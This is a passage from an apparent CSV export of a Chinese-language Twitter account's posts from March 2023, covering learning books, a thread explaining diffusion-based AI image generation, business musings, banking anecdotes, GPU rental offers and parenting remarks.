https://t.co/h5mvr0vgiG,\"[TextLink(text='youtu.be/Ilg3gGewQ5U', url='https://youtu.be/Ilg3gGewQ5U', tcourl='https://t.co/1yEGXUVZsg', indices=(116, 139))]\",https://twitter.com/haoel/status/1634874996077256704\n496,1634860738312540160,2023-03-12 10:15:48+00:00,6,0,1,,@bigbyto 是的，深入了解细节都是要读论文和各种RFC的……,,https://twitter.com/haoel/status/1634860738312540160\n497,1634858370695049217,2023-03-12 10:06:24+00:00,0,0,1,,@realrenmin 顺便看下我最新的推，什么是好的书,,https://twitter.com/haoel/status/1634858370695049217\n498,1634857271883866113,2023-03-12 10:02:02+00:00,0,0,1,,@realrenmin 谢谢，我觉得你以后可以直接展示更好的东西，比如把你的想法写成篇文章，如果真的好的话，我一定转发……,,https://twitter.com/haoel/status/1634857271883866113\n499,1634855695337263105,2023-03-12 09:55:46+00:00,940,244,23,,学习一个技术，很多时候，我都不喜欢看代码，也不喜欢那些纯理论的论文，我还是喜欢看书，文章，大学课程或是一些优秀的视频（如：3Blue1Brown）……下面是早些年我给某网友问我什么是好书的邮件回复（已编辑）……这是我认为的 “10x倍学习法”…… https://t.co/1EtoOCUcZW,,https://twitter.com/haoel/status/1634855695337263105\n500,1634834971784523776,2023-03-12 08:33:25+00:00,10,0,1,,@songma 我都一一向他们虚心请教了，真心的,,https://twitter.com/haoel/status/1634834971784523776\n501,1634794840058925056,2023-03-12 05:53:57+00:00,290,34,33,,推上果然藏龙卧虎，分分钟教我“学习方向”和“10000x倍学习法”…… https://t.co/LqYiauHIde,,https://twitter.com/haoel/status/1634794840058925056\n502,1634781708368375808,2023-03-12 05:01:46+00:00,1,0,1,,@realrenmin 又是一个1w倍……,,https://twitter.com/haoel/status/1634781708368375808\n503,1634781386396831744,2023-03-12 05:00:29+00:00,0,0,0,,@neil_csagi 👍👍,,https://twitter.com/haoel/status/1634781386396831744\n504,1634778339511767041,2023-03-12 04:48:23+00:00,1,1,1,,@newhighlandtech 那现在应该学什么？,,https://twitter.com/haoel/status/1634778339511767041\n505,1634778239850930176,2023-03-12 04:47:59+00:00,7,1,1,,@Margare76938797 1w倍？对不起，我跟你学习的方式有点不太一样。,,https://twitter.com/haoel/status/1634778239850930176\n506,1634572608669896707,2023-03-11 15:10:53+00:00,287,68,10,,不错不错，这是我心中的GPT应用该有的样子……👍接下来看看是否有人把法律和不同地方日常生活中的生活规则（如：银行开户，租房，交通…… ）也搞了……,,https://twitter.com/haoel/status/1634572608669896707\n507,1634403449977864192,2023-03-11 03:58:42+00:00,3,1,0,,@snake_yc 一方面是为了版权，另一方面是为了效率。当然我从来都是对照着看的，另外从翻译中也可以学英文……,,https://twitter.com/haoel/status/1634403449977864192\n508,1634401197544321024,2023-03-11 03:49:45+00:00,198,26,29,,一上午看了《深入浅出神经网络与深度学习》这本书的一半内容，写得真的好！真是深入浅出！不过中文版书中的总是有一些低级错误（如下图所示），中文版的书从来都是对着英文版看的…… https://t.co/gAPkcN5K06,,https://twitter.com/haoel/status/1634401197544321024\n509,1634365224781500416,2023-03-11 01:26:49+00:00,41,3,1,,@k2zZDPzLc5gium9 其一，尊重版权购买纸书；其二，我是从0开始，已经落后于时代了，要加快步伐，母语让我更有效率；其三，入门级的成熟知识，是什么语言已不重要了,,https://twitter.com/haoel/status/1634365224781500416\n510,1634352767585357824,2023-03-11 00:37:19+00:00,4,0,1,,@CrazyBunnyDoll 京东或当当,,https://twitter.com/haoel/status/1634352767585357824\n511,1634351280788488192,2023-03-11 00:31:24+00:00,961,136,36,,书到了，补一下这个领域中我那贫乏的基础知识……任何时候学习都不晚…… https://t.co/LimSFyXUEK,,https://twitter.com/haoel/status/1634351280788488192\n512,1634153084568911872,2023-03-10 11:23:51+00:00,7,0,0,,@laixintao 180,,https://twitter.com/haoel/status/1634153084568911872\n513,1634145399534436352,2023-03-10 10:53:18+00:00,422,24,66,,今天我突然想起来我1996年上大学的时候，到教务处帮教务处的材料录入到电脑系统，到电脑城帮忙装电脑，一学期挣了1000块钱（当时我一个月的生活费200就够了），然后我就到银行存定期，1年的利率是12%，是的，你没看错 12％ 的一年期定期……我当时还嫌银行给的利息太低了，因为再早几年是18%😂,,https://twitter.com/haoel/status/1634145399534436352\n514,1634111740559638528,2023-03-10 08:39:33+00:00,0,0,0,,@PenngXiao @dedeziyu 拉黑成就完成✅😜,,https://twitter.com/haoel/status/1634111740559638528\n515,1634108273568919553,2023-03-10 08:25:47+00:00,98,14,3,,只要需求描述完整，常规性的代码已经写的很不错了。下面的代码中有几个不错的地方：1）把 url 和 mode 放到开头，2）使用了 map对像来映射了JSON，3）对于返回的JSON，还判断了数组choices 是否为空……不足的情况是：没有设置timeout和errorHanlder判断HTTP的返回码……（还是不如github copilot） https://t.co/HldjLddLl0,,https://twitter.com/haoel/status/1634108273568919553\n516,1634050445483323392,2023-03-10 04:36:00+00:00,0,0,0,,@911_Hiber @T7IYZBpO2fnnAwM @fujohnwang 一家是股份制银行，另外一家是城商行,,https://twitter.com/haoel/status/1634050445483323392\n517,1634047224643715072,2023-03-10 04:23:12+00:00,2,0,1,,@911_Hiber @fujohnwang 能说出这样的话，你们要么是白嫖惯了，要么是不知道怎么挑选供应商。不管是哪个，我都觉得是你们自己的问题。,,https://twitter.com/haoel/status/1634047224643715072\n518,1634045466299203585,2023-03-10 04:16:12+00:00,3,0,1,,@911_Hiber @T7IYZBpO2fnnAwM @fujohnwang 然而，有的银行并不这样！所以，不要觉得烂了就是正常的……太low了,,https://twitter.com/haoel/status/1634045466299203585\n519,1634042755407319042,2023-03-10 04:05:26+00:00,1,0,0,,@NekoStranding 其实风险都是很大的……,,https://twitter.com/haoel/status/1634042755407319042\n520,1634038973638279175,2023-03-10 03:50:24+00:00,2,0,1,,@911_Hiber @fujohnwang 我说的是，咨询必须给钱，你要怕亏，你就有先做一个小的，少付一些。另外你们银行也从来不会一次性付完的……,,https://twitter.com/haoel/status/1634038973638279175\n521,1634037840760946689,2023-03-10 03:45:54+00:00,0,0,1,,@T7IYZBpO2fnnAwM @911_Hiber @fujohnwang PoC也应该付钱的,,https://twitter.com/haoel/status/1634037840760946689\n522,1634020335183085568,2023-03-10 02:36:21+00:00,0,0,1,,@liyuan1981 你这应该是公众号和抖音看多了，哈哈,,https://twitter.com/haoel/status/1634020335183085568\n523,1634000378353295361,2023-03-10 01:17:03+00:00,2,0,1,,@StackHfut 这回是手机上用的，蓝牙接口,,https://twitter.com/haoel/status/1634000378353295361\n524,1633997766564413441,2023-03-10 01:06:40+00:00,140,7,44,,前两天我去工行柜台办一个转账业务（网银额度有限制），因为是跨行转账，居然工行还要收15块钱的手续费……我说，这都什么年代了，还有手续费呀……柜员想了想跟我说，你这个级别的客户可以免费领个手机U盾。我问，一般客户领个手机U盾要多少钱？柜员跟我说，要35块钱……我回答道，干得漂亮👍！,,https://twitter.com/haoel/status/1633997766564413441\n525,1633994775081914368,2023-03-10 00:54:47+00:00,2,0,0,,@ssrsdiary 对的，这些更深层次的东西才是最可怕的东西……这也是火鸡科学家们永远无法理解的东西……,,https://twitter.com/haoel/status/1633994775081914368\n526,1633994081432109056,2023-03-10 00:52:01+00:00,1,0,1,,@xiangkai 让自己下游更多，并不一定需要开源，你看看微软,,https://twitter.com/haoel/status/1633994081432109056\n527,1633993766234386432,2023-03-10 00:50:46+00:00,1,0,1,,@MrJasonZhou 对的，肯定不是为世界做贡献！,,https://twitter.com/haoel/status/1633993766234386432\n528,1633993673192132608,2023-03-10 00:50:24+00:00,12,0,1,,https://t.co/7yj6gTEz6w,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1633987560929198082', tcourl='https://t.co/7yj6gTEz6w', indices=(0, 23))]\",https://twitter.com/haoel/status/1633993673192132608\n529,1633993233708765184,2023-03-10 00:48:39+00:00,5,0,3,,@911_Hiber @fujohnwang 这些都是借口,,https://twitter.com/haoel/status/1633993233708765184\n530,1633989542725165056,2023-03-10 00:33:59+00:00,75,7,14,,@RebbecaRen 我听我亚马逊的同时也在说中国这边的亚马逊FBA研发部门200多人也要被裁掉。其实这里面道理很简单，除了经济成本以外，还有一个很重要的成本是法律成本，中国又没有工会……,,https://twitter.com/haoel/status/1633989542725165056\n531,1633987560929198082,2023-03-10 00:26:07+00:00,127,7,24,,@fujohnwang 我最讨厌很多客户和个人张嘴就来问答案，把我当免费的chatGPT。记得之前有个银行说让我先给他们做一个咨询的PoC，我说咨询的PoC怎么搞啊？他们说就是你先免费的做呗，我当场就拒绝了……感觉就是有很多人一点也不尊重别人的知识和技能……,,https://twitter.com/haoel/status/1633987560929198082\n532,1633979270069624833,2023-03-09 23:53:10+00:00,1,0,0,,@biubiuxiuxiuhiu 是的，我也很佩服,,https://twitter.com/haoel/status/1633979270069624833\n533,1633978930553294848,2023-03-09 23:51:49+00:00,0,0,1,,@huangren121 既然是正当的，肯定全部都是正当的,,https://twitter.com/haoel/status/1633978930553294848\n534,1633978441581334528,2023-03-09 23:49:52+00:00,12,0,0,,@hellojixian @NiKiTa_32156 https://t.co/YjbGSovZvt,,https://twitter.com/haoel/status/1633978441581334528\n535,1633976171494014976,2023-03-09 23:40:51+00:00,1,0,3,,@ssrsdiary 你这个算是说到点上了。“黑人类”是错别字吗？,,https://twitter.com/haoel/status/1633976171494014976\n536,1633973839918153728,2023-03-09 23:31:35+00:00,29,0,0,,@yetone 你应该开一个github sponsor,,https://twitter.com/haoel/status/1633973839918153728\n537,1633973101544501248,2023-03-09 23:28:39+00:00,0,0,0,,@Veeko_vitob 生态标准这些都是挺好的维度，任何一个好的产品都是要有一大堆自己的粉丝还有生态环境的。但是这么说其实也太笼统了，如果是开发者生态会更好。其实没有强大的开发者生态的诺基亚，自然是比苹果有强大开发者生态的苹果，有的开发者的生态，产品将进入另外一个维度……,,https://twitter.com/haoel/status/1633973101544501248\n538,1633849397615415297,2023-03-09 15:17:06+00:00,2,0,1,,@Veeko_vitob 当然不是，这种东西也很容易破除，你想想诺基亚是怎么被苹果公司干掉的,,https://twitter.com/haoel/status/1633849397615415297\n539,1633848972359106560,2023-03-09 15:15:25+00:00,2,0,4,,@ZhijunFan 一定要明白，这已经超出了你的认知,,https://twitter.com/haoel/status/1633848972359106560\n540,1633848551926276100,2023-03-09 15:13:44+00:00,8,0,1,,@Veeko_vitob 你是国内的公众号看多了,,https://twitter.com/haoel/status/1633848551926276100\n541,1633848126279938053,2023-03-09 15:12:03+00:00,1,0,1,,@hzrrds 亚马逊美国听到的,,https://twitter.com/haoel/status/1633848126279938053\n542,1633847080417640450,2023-03-09 15:07:54+00:00,292,38,107,,三维的生意，又会在空间和时间上再盖“一维”，这一维是啥，留给大家自己思考吧……我只是想说这个跟《三体》一样，你以为大家都是在挣钱，但是这种在维度的差别，才是可怕的，令人完全没法竞争，这也是超出大多数人认知之外的事情…… （我有这个认知也是在10年前有天在会议室听到了几个牛人的聊天）3/3,,https://twitter.com/haoel/status/1633847080417640450\n543,1633847078442131457,2023-03-09 15:07:53+00:00,168,18,4,,二维的买卖，会在商品的时间和空间上进行扩展，就像金融业一样，在“空间”上把储户的100块钱变成500块钱贷出去，不然就是在时间上扩展对未来进行消费，其实这个在技术上也一样，IBM 卖服务器是一维的生意，AWS则是二维的……二维的生意，要牛逼的技术，调度，风控，规模……等  2/3,,https://twitter.com/haoel/status/1633847078442131457\n544,1633847075862622210,2023-03-09 15:07:52+00:00,822,143,66,,自己创业的这几年，见过很多各式各样的企业和老总，让对我的对世界的认识有巨大无比的帮助。目前我能理解的正规挣钱做生意到三维。一维就是低买高卖，哪怕是从原材料加工变成商品，也是在一根线上做生意，传统行业基本上都在这个维度上挣钱，一维空间的生意都太容易被竞争了……1/3,,https://twitter.com/haoel/status/1633847075862622210\n545,1633840449017495553,2023-03-09 14:41:32+00:00,3,0,1,,@tinyfool 👌,,https://twitter.com/haoel/status/1633840449017495553\n546,1633839961626779657,2023-03-09 14:39:36+00:00,33,2,29,,我这“吊胃口”推引发了一些人的漫骂，哈哈，居然这样就能激怒人，一些人的心智果然容易被hack……两年前我做过场收费的直播，在这个直播里我讲了些谷歌的为什么开源的背后的真实逻辑，算是涉及了一些，我相信听过的人都会感到一个牛逼的玩家是怎么玩的……为了照顾之前付费听众，所以我这就不公开了😜,,https://twitter.com/haoel/status/1633839961626779657\n547,1633697361968107521,2023-03-09 05:12:58+00:00,317,38,87,,我能说的清楚这个问题，但是我不想说……😜这世界上有很多高价值的事情不是能够通过学习和交流能学得到……就像阿里的双十一，要不是有一天我的领导让我代他去开一个秘密的会，我也不知道原来是这么搞的……而且，很多事儿根本没法公开说……,,https://twitter.com/haoel/status/1633697361968107521\n548,1633637525096128512,2023-03-09 01:15:12+00:00,0,0,0,,@wangyooo11 @Kenji_santu @ThaddeusJiang 你可以尊重和鼓励，我先预防性block 你,,https://twitter.com/haoel/status/1633637525096128512\n549,1633445249237544963,2023-03-08 12:31:10+00:00,0,0,3,,@Kenji_santu @MaiSprung @ThaddeusJiang 你们的手机App上没有这个图标吗？ https://t.co/wmzPmyeMXZ,,https://twitter.com/haoel/status/1633445249237544963\n550,1633415573974708224,2023-03-08 10:33:14+00:00,13,0,6,,@xicilion 我的plus会员也一样没了,,https://twitter.com/haoel/status/1633415573974708224\n551,1633372877419577345,2023-03-08 07:43:35+00:00,0,0,1,,@bigzhu 你走这条路就只能见到这样的人,,https://twitter.com/haoel/status/1633372877419577345\n552,1633370362573656065,2023-03-08 07:33:35+00:00,1,0,2,,@T7IYZBpO2fnnAwM 不一定啊，我Fo的人转发，评论， 点赞都会出现在我的时间线上，而他就算什么也不干，他fo的人也有可能会出现在我的时间线上……,,https://twitter.com/haoel/status/1633370362573656065\n553,1633369342040752128,2023-03-08 07:29:32+00:00,0,0,1,,@FM10085 @ThaddeusJiang 你是理解能力有问题吗？,,https://twitter.com/haoel/status/1633369342040752128\n554,1633368880944136192,2023-03-08 07:27:42+00:00,2,0,2,,@vim12128250 @ThaddeusJiang 那你看一下我收藏的啥？,,https://twitter.com/haoel/status/1633368880944136192\n555,1633350275976298496,2023-03-08 06:13:46+00:00,12,0,5,,@ThaddeusJiang 但是你点过赞的自然就会出现在我的时间线上，而且你点赞过的东西也会出现在你的首页中，你应该使用的是收藏,,https://twitter.com/haoel/status/1633350275976298496\n556,1633346469133717504,2023-03-08 05:58:39+00:00,122,5,11,,有很多东西都会让别人感到不舒服的，比如，抽烟，恶心，血腥，暴力……黄色，色情和低级趣味的东西也是一样的……你看黄图也不应该点赞的，要看就偷偷地看就行了，看完也私底下交流就好了……我认为正常的人在看黄色图片电影后，都不会把这些东西放在自己的桌面，工位，门口，简历，或个人主页上……,,https://twitter.com/haoel/status/1633346469133717504\n557,1633345061869195264,2023-03-08 05:53:03+00:00,140,0,25,,@ThaddeusJiang 色情和低级趣味的东西，也不应该点赞的，你要看就偷偷地看就行了，别放在门面上，太掉价了……我认为正常的人在看黄色图片电影后，都不会把这些东西放在自己的桌面，工位，门口，或简历和个人主页上……,,https://twitter.com/haoel/status/1633345061869195264\n558,1633307012967833601,2023-03-08 03:21:51+00:00,0,0,0,,@Fenng 🎉👍,,https://twitter.com/haoel/status/1633307012967833601\n559,1633101515320598528,2023-03-07 13:45:17+00:00,3,0,2,,@wenqiangjp 第一眼看成周迅了,,https://twitter.com/haoel/status/1633101515320598528\n560,1633041755791818752,2023-03-07 09:47:49+00:00,10,0,0,,@MiaBleem 你可别发黄推，太掉价了,,https://twitter.com/haoel/status/1633041755791818752\n561,1633041006064205825,2023-03-07 09:44:50+00:00,8,0,1,,@MiaBleem 你还露过点？,,https://twitter.com/haoel/status/1633041006064205825\n562,1633010658185998336,2023-03-07 07:44:15+00:00,17,0,2,,@kevinzhow 薛定谔拉黑,,https://twitter.com/haoel/status/1633010658185998336\n563,1633006118090964993,2023-03-07 07:26:12+00:00,378,8,132,,声明一下，只要在我时间线上出现露点黄推的，不过是谁，只要出现过一次，我都会一律永久拉黑！,,https://twitter.com/haoel/status/1633006118090964993\n564,1632894602788343808,2023-03-07 00:03:05+00:00,39,1,15,,@MiaBleem 看来我们离的很近啊，我经常步行过去吃面 https://t.co/8ReZMnpPvq,,https://twitter.com/haoel/status/1632894602788343808\n565,1632889900642217984,2023-03-06 23:44:24+00:00,24,0,4,,@Will_Chew_CA 下次可以说can’t agree more 😜,,https://twitter.com/haoel/status/1632889900642217984\n566,1632886911454048256,2023-03-06 23:32:31+00:00,7,1,2,,@poluk2001 还有DDIA这本书也有 https://t.co/6eMCWTLcg8,,https://twitter.com/haoel/status/1632886911454048256\n567,1632751207721869314,2023-03-06 14:33:17+00:00,2,0,1,,@marcbharris 思维方式只是文化的一个子集,,https://twitter.com/haoel/status/1632751207721869314\n568,1632750790900334592,2023-03-06 14:31:38+00:00,1,0,1,,@BadP0inter 其实重建也好，推翻也好都是在表达同一个意思。重建的意思就是人类还是想去上天，推翻的意思就是老子再也不陪上帝玩了……总之这个不是这句话的重点……抓重点！,,https://twitter.com/haoel/status/1632750790900334592\n569,1632748768755060736,2023-03-06 14:23:36+00:00,175,16,17,,以前听过一句话，翻译只有烂和更烂之分（好像是胡适说的），你试想一下中国的古诗词，无论翻译成什么语言都不是那个味道了，所以学习一门语言，不需要通过翻译，能够原汁原味的体会到那种纯正的味道和文化，是一件令人非常愉悦的事，通过翻译是永远体会不到这种滋味的……,,https://twitter.com/haoel/status/1632748768755060736\n570,1632747907790274560,2023-03-06 14:20:10+00:00,1,0,0,,@PengLiu011 至少文学专业的不会,,https://twitter.com/haoel/status/1632747907790274560\n571,1632746525704208385,2023-03-06 14:14:41+00:00,853,151,47,,有人说有了AI 翻译后，就可以不用学外语推倒巴别塔了，我对这种观点嗤之以鼻。原因并不在于有些场景是没电没网络必须面对面交流，真正的原因很简单，你连你自己的母语都要学习，何况外语呢？学习语言不仅仅只是沟通，更大的目的是为了了解文化，无论母语还是外语……我们再来重温一下面这句名言……,,https://twitter.com/haoel/status/1632746525704208385\n572,1632705182181257216,2023-03-06 11:30:24+00:00,8,0,3,,@tinyfool 我靠，再说我就拉黑你了😜,,https://twitter.com/haoel/status/1632705182181257216\n573,1632703251778007041,2023-03-06 11:22:44+00:00,3,0,1,,@tinyfool 😓😓😓,,https://twitter.com/haoel/status/1632703251778007041\n574,1632697907244851200,2023-03-06 11:01:29+00:00,77,3,22,,写代码比我牛逼的人多了去了……我真的不行……,,https://twitter.com/haoel/status/1632697907244851200\n575,1632330875542306818,2023-03-05 10:43:02+00:00,5,0,2,,@yihong0618 @Blankwonder 很多时候都需要考虑这种情况，算了，当我没说，你是对的,,https://twitter.com/haoel/status/1632330875542306818\n576,1632330041756631040,2023-03-05 10:39:43+00:00,4,0,1,,@yihong0618 @Blankwonder 没有网络没有电呢？,,https://twitter.com/haoel/status/1632330041756631040\n577,1632324538938843137,2023-03-05 10:17:51+00:00,6,1,1,,@yihong0618 @Blankwonder 人跟人之间还是要说话的吧……,,https://twitter.com/haoel/status/1632324538938843137\n578,1632323364407898112,2023-03-05 10:13:11+00:00,100,22,2,,来来来，AI 工具大众点评……,,https://twitter.com/haoel/status/1632323364407898112\n579,1632292240264671233,2023-03-05 08:09:31+00:00,0,0,0,,@SijunHe @realShellWen 多谢,,https://twitter.com/haoel/status/1632292240264671233\n580,1632274934063063040,2023-03-05 07:00:45+00:00,7,0,1,,@realShellWen 不清楚你就乱转……,,https://twitter.com/haoel/status/1632274934063063040\n581,1632266705908170752,2023-03-05 06:28:03+00:00,5,1,3,,@realShellWen 给个出处,,https://twitter.com/haoel/status/1632266705908170752\n582,1632227398568804353,2023-03-05 03:51:51+00:00,23,0,2,,@faker2029 一分钟就屏蔽关键词,,https://twitter.com/haoel/status/1632227398568804353\n583,1632224557879955459,2023-03-05 03:40:34+00:00,823,163,57,,百度的“文心一格”AI生成图片：“一只爱国的猫”，看来不但政治不正确，而且可以推测后面用的图片训练集的来源也不是自主可控的……Stable Diffusion 没跑了😂😂 https://t.co/GFv4aa7Rhq,,https://twitter.com/haoel/status/1632224557879955459\n584,1632211316848082946,2023-03-05 02:47:57+00:00,130,9,16,,最后说一下Stable Diffusion，他使用了一种图片压缩算法可以大规模的减少训练的内存和时间，在工程上可以用更少的GPU和时间来计算更大量的数据，于是让“大力出奇迹”成为了可能，因为开源，所以，它的社区是非常活跃的。开源和封闭的竞争永远都在，OpenAI 和Stability AI之间就像苹果和安卓……7/7,,https://twitter.com/haoel/status/1632211316848082946\n585,1632211314734161921,2023-03-05 02:47:57+00:00,87,2,3,,再说一下 Prompt，这是一种Transformer语言模型，它接受文本提示并产生Token，Stable Diffusion 以前使用的是 OpenAI的CLIP，但去年11月切到了OpenCLIP，使用了3.5亿的参数，而CLIP只有6千万的参数，Prompt对高质量的图片的生成有非常大的影响因素，我认为这是一种未来的更接近自然语言的编程语言…6/7,,https://twitter.com/haoel/status/1632211314734161921\n586,1632211312565698562,2023-03-05 02:47:56+00:00,53,2,1,,所以，像Midjourney这种通过聊天机器人来让人选择最喜欢的图片，其实就是让人来告诉机器哪些随机数，哪些预测路径，哪些Prompt更靠谱可生成更好的图片，在用户生成图片的同时让用户来反哺了AI 模型，而生成出来的图片又可以成为下一轮的图片训练集，于是，AI以后就再也不需要使用人类的图片……5/7,,https://twitter.com/haoel/status/1632211312565698562\n587,1632211310330126336,2023-03-05 02:47:56+00:00,46,3,1,,这个过程需要依赖于几个事，一个是训练的图片，一个初始化的随机噪点，还有就是 Prompt 的预测路径，整个过程非常地机械，而且这个模型也不保证能生成让人觉得舒服的图片，所以需要各种人为的调参，并需要人通过在生成的图片中选择自己喜欢的图片后再度生成，类似于ChatGPT用上下文来调整内容……4/7,,https://twitter.com/haoel/status/1632211310330126336\n588,1632211308262359042,2023-03-05 02:47:55+00:00,78,4,2,,一旦这个模型产生，机器就可以通过“噪点”来预测图形，所以，整个绘画的过程就是用一组随机数（随机的噪点）来预测会是一个什么样的画。很令人惊讶吧，AI就是从一堆乱七八糟的随机数中来画画的。这种个算法很机器，就是以大力出奇迹，但牛逼的地方是，可以产生清晰度和细节度巨高无比的图片……3/7,,https://twitter.com/haoel/status/1632211308262359042\n589,1632211304948830210,2023-03-05 02:47:54+00:00,105,8,4,,Diffisution算法需要先找一堆高质量的图片，训练就是对每张图片一步一步的按一种公式（高斯噪声公式）来加噪点，直到整张图片变成一个完全噪点的图像（就像电视的雪花点），把所有的步骤都保存下来，然后用神经网络的方式来反向学习如何从一个完全是噪点的图像变成一张高清的图……2/7 https://t.co/cMdbE5lAzj,,https://twitter.com/haoel/status/1632211304948830210\n590,1632211302356783104,2023-03-05 02:47:54+00:00,1993,677,114,,\"开个 thread 来做个人人都难懂的 AI 作画科普。目前主要流行的AI作画有，OpenAI的Dall-E2, Google 的 Imagen，Midjourney，有还Stability AI 公司开的 Stable Diffusion 等等。它们都是2022年才出来的，无一例外，全部都是基于 Diffusion 算法模型，这个算法的原理其实并不复杂，简单地说一下…… 1/7\",,https://twitter.com/haoel/status/1632211302356783104\n591,1632200365637775360,2023-03-05 02:04:26+00:00,1,0,0,,@real_emanonlee 我一会写个帖告诉你,,https://twitter.com/haoel/status/1632200365637775360\n592,1632186870858911746,2023-03-05 01:10:49+00:00,2,1,1,,@C6NMyrt 这些所谓“神秘”和“细节”的事情，只要有人创造岀来AI就能学，而且还能通过生成后的东西再反复学,,https://twitter.com/haoel/status/1632186870858911746\n593,1632175557642448896,2023-03-05 00:25:51+00:00,0,0,1,,@C6NMyrt 对AI来说，都是一样的,,https://twitter.com/haoel/status/1632175557642448896\n594,1632173657991835648,2023-03-05 00:18:19+00:00,242,55,16,,之前了解到，游戏公司设计一个角色并将之3D模型化的成本大概是4-5个人月，成本是8-10万元或是更高，现在可以省掉原画设计的时间和人员成本了……,,https://twitter.com/haoel/status/1632173657991835648\n595,1631909482266771456,2023-03-04 06:48:34+00:00,174,33,5,,\"糙快猛了一个Golang 调用 ChatGPT API 的 Discord Bot（不支持上下文），玩具代码在 gist 上，大家拿着玩吧。\nhttps://t.co/Nw6PzcbhH5\",\"[TextLink(text='gist.github.com/haoel/0d5440e9…', url='https://gist.github.com/haoel/0d5440e953743a1b359300fff408311c', tcourl='https://t.co/Nw6PzcbhH5', indices=(71, 94))]\",https://twitter.com/haoel/status/1631909482266771456\n596,1631861045194289152,2023-03-04 03:36:06+00:00,3,0,0,,@DoraDaemon1 @songma 所以，我说的大多数人都干不过AI,,https://twitter.com/haoel/status/1631861045194289152\n597,1631801160872124419,2023-03-03 23:38:08+00:00,340,61,27,,我以为我这推很容易让人理解，没想到虽然还有好些人认为“题海战术”这就是正常的学习方式……那我多扯几句，1）学习不是为了找答案和套路，而是为了了解“为什么”，2）真正的智能是对现有的东西提出问题和质疑，并找到全新的解决方法，而不是在老路上重复，3）在“使蛮力”上，你永远干不过机器……,,https://twitter.com/haoel/status/1631801160872124419\n598,1631611063258193921,2023-03-03 11:02:46+00:00,5,0,0,,@yetone 正确的用法,,https://twitter.com/haoel/status/1631611063258193921\n599,1631526307980021760,2023-03-03 05:25:58+00:00,340,61,23,,其实AIGC使用的方法跟中国的教育很类似，同样都是喂大量的数据样例（题海战术）以达到所谓的“智能” （学霸）。当看到“题目”时，解题的过程都是一样的一一 1）好幸运，这题我做过，直接上答案， 2）类似的题见过，套过来，3）草，这题没见过，瞎蒙吧…… 这类思维方式人在未来一定会被AIGC所碾压……,,https://twitter.com/haoel/status/1631526307980021760\n600,1631481716841005056,2023-03-03 02:28:47+00:00,3,0,2,,@tinyfool 感觉像是我说的一样……😂😂 https://t.co/7rSAk5XqLn,,https://twitter.com/haoel/status/1631481716841005056\n601,1631452089019928576,2023-03-03 00:31:03+00:00,17,3,4,,等着，过几天，我们团队来做一个像的，直接用你的照片来训练……,,https://twitter.com/haoel/status/1631452089019928576\n602,1631447123974840320,2023-03-03 00:11:19+00:00,0,0,1,,@hello_boris 没有，我目前能力有限，只能找到国内的IDC,,https://twitter.com/haoel/status/1631447123974840320\n603,1631215127340150786,2023-03-02 08:49:27+00:00,0,0,0,,@hellojukay_zh 不能,,https://twitter.com/haoel/status/1631215127340150786\n604,1631215080649162752,2023-03-02 08:49:16+00:00,0,0,0,,@qinjian623 这个等未来吧，现在先留给大客户,,https://twitter.com/haoel/status/1631215080649162752\n605,1631172779453353984,2023-03-02 06:01:11+00:00,0,0,0,,@GobeUncleWang 你这界面，好花哨啊，后面找机会看看如何一起合作😂,,https://twitter.com/haoel/status/1631172779453353984\n606,1631151091034521600,2023-03-02 04:35:00+00:00,0,0,1,,@winguse 自己搞一个云嘛，就叫玩具云,,https://twitter.com/haoel/status/1631151091034521600\n607,1631140852063174657,2023-03-02 03:54:18+00:00,0,0,0,,@nostra1324 那你认真看一下推文,,https://twitter.com/haoel/status/1631140852063174657\n608,1631140472956796934,2023-03-02 03:52:48+00:00,0,0,0,,@nostra1324 哪有免费的？,,https://twitter.com/haoel/status/1631140472956796934\n609,1631136397389336579,2023-03-02 03:36:36+00:00,0,0,1,,@lsslah_shell 那我只能给你一个最高的了，私聊吧,,https://twitter.com/haoel/status/1631136397389336579\n610,1631135869653643264,2023-03-02 03:34:31+00:00,0,0,0,,@shisoftgenius 有,,https://twitter.com/haoel/status/1631135869653643264\n611,1631127258378420224,2023-03-02 03:00:17+00:00,0,0,1,,@lsslah_shell 你要多少，多长时间？,,https://twitter.com/haoel/status/1631127258378420224\n612,1631119889040818179,2023-03-02 02:31:00+00:00,0,0,1,,@lsslah_shell 价格一定比语音厂商的便宜，你要什么样的配置？,,https://twitter.com/haoel/status/1631119889040818179\n613,1631108977349234689,2023-03-02 01:47:39+00:00,3,0,0,,@hold_hopes 大家互相信任，还是好人多，另外，闲置的也是浪费,,https://twitter.com/haoel/status/1631108977349234689\n614,1631105518529024000,2023-03-02 01:33:54+00:00,63,3,12,,目前，先从最贵的 GPU 资源开始， 我这里有一些 A10/A100的资源，服务器配置大概是 96 核CPU，1TB内存，硬盘管够，价格好商量，绝对比云厂商的便宜。也有一些消费级的显卡 3080，大家如果需要话，可以找我私信，可免费试用 3-5 天，用好了再付费…… 2/2 https://t.co/pYYrU84h4l,,https://twitter.com/haoel/status/1631105518529024000\n615,1631105516691914752,2023-03-02 01:33:54+00:00,93,11,6,,MegaEase Cloud 主要的目的不是跨云，而是为了降低云的技术门槛和成本，现在发布的是，通一系列的工具让用户可以用开源软件轻松自建自己的基础软件架构和配套设置，从而可以大幅度的降低成本，有了这层 PaaS，我就可以找现有云厂商底层 IDC供应商谈合作了，直接短路掉，不要中间商赚差价 …… 1/2,,https://twitter.com/haoel/status/1631105516691914752\n616,1630961034432483328,2023-03-01 15:59:47+00:00,235,46,8,,\"TL;DR! \nHard times create tough people\nTough people make easy times\nEasy times create weak people\nWeak people make hard times\n…\nInfinite loop\",,https://twitter.com/haoel/status/1630961034432483328\n617,1630939801846435840,2023-03-01 14:35:24+00:00,66,3,11,,@wong2_x 要四个，还有一个google,,https://twitter.com/haoel/status/1630939801846435840\n618,1630937464851554304,2023-03-01 14:26:07+00:00,10,0,0,,@robert04292010 说实话，我觉得你完全没有看懂是什么意思，只是机械地在表面上理解，也没搞懂什么是监护人……,,https://twitter.com/haoel/status/1630937464851554304\n619,1630930030309289991,2023-03-01 13:56:35+00:00,281,31,22,,手机（微信视频音乐）iPad （画画）PS5（原神），除了按时睡觉和眼睛休息，基本不管，她的人生自己负责。我跟孩子讲社会分工和不同的职业，及要学什么样才能从事相应的职业，并带孩子了解世界……比如，孩子喜欢画画和原神，那我就要努力找机会带孩子去米哈游公司看一下原神的人物是怎么创作岀来的……,,https://twitter.com/haoel/status/1630930030309289991\n620,1630921672839790593,2023-03-01 13:23:22+00:00,103,0,3,,@LhHMGVneSpE3G9W 